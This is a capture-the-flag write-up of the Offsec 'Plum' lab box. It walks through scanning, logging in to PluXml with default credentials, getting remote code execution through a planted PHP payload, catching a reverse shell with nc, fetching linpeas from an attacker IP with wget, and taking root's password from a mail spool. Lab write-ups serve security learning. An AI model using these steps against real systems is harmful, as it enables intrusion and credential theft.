

tags: Offsec PG Practice Intermediate Linux # plum

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.219.28 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.219.28:22
Open 192.168.219.28:80

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp    open  http      syn-ack Apache httpd 2.4.56 ((Debian))
|_http-favicon: Unknown favicon MD5: 2D58FC0104110AF4C9BE979DFD8FD83C
|_http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: PluXml - Blog or CMS, XML powered !
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
``` Check `192.168.219.28` Click `Administration`, `admin/admin` login
Search[PluXml Blog 5.8.9 Remote Code Execution] (https://packetstormsecurity.com/files/176407/PluXml-Blog-5.8.9-Remote-Code-Execution.html), Refer to FirstClick`Static pages > Edit` ![plum_1.png]
(picture/plum_1.png) phppayload, Click `save`
Open nc, Click `001` page `see` get shell, `/var/www` get local.txt
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp9001

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@plum:/var/www$ cat local.txt
cc13c8e7bb43f85fb3ba456df8621657
``` uselinpeas, mail, /var/spool/mail/www-data root's password
```

```
www-data@plum:/tmp$ wget 192.168.45.175/linpeas.sh
www-data@plum:/tmp$ chmod +x linpeas.sh
www-data@plum:/tmp$ ./linpeas.sh

...
===== Mails (limit 50)
272394      8 -rw-rw----    1 www-data mail          4563 Apr  1 04:04 /var/mail/www-data
272394      8 -rw-rw----    1 www-data mail          4563 Apr  1 04:04 /var/spool/mail/www-data
...

www-data@plum:/var/spool/mail$ cat www-data
cat www-data
From root@localhost Fri Aug 25 06:31:47 2023
Return-path: <root@localhost>
Envelope-to: www-data@localhost
Delivery-date: Fri, 25 Aug 2023 06:31:47 -0400
Received: from root by localhost with local (Exim 4.94.2)
        (envelope-from <root@localhost>)
        id 1qZU6V-0000E1-Pw
        for www-data@localhost; Fri, 25 Aug 2023 06:31:47 -0400
To: www-data@localhost
From: root@localhost
Subject: URGENT - DDOS ATTACK"
Reply-to: root@localhost
Message-Id: <E1qZU6V-0000E1-Pw@localhost>
Date: Fri, 25 Aug 2023 06:31:47 -0400

We are under attack. We've been targeted by an extremely complicated and sophisticated DDOS attack. I trust
your skills. Please save us from this. Here are the credentials for the root user:
root:6s8kaZZNaZZYBMfh2YEW
Thanks,
Administrator
...
``` root, /rootget proof.txt
```

```
www-data@plum:/var/spool/mail$ su root
Password: 6s8kaZZNaZZYBMfh2YEW
```

```
root@plum:/var/spool/mail# cd /root
root@plum:~#
root@plum:~# cat proof.txt
3fabcf366229a14ff52af84e7ed64770
```

---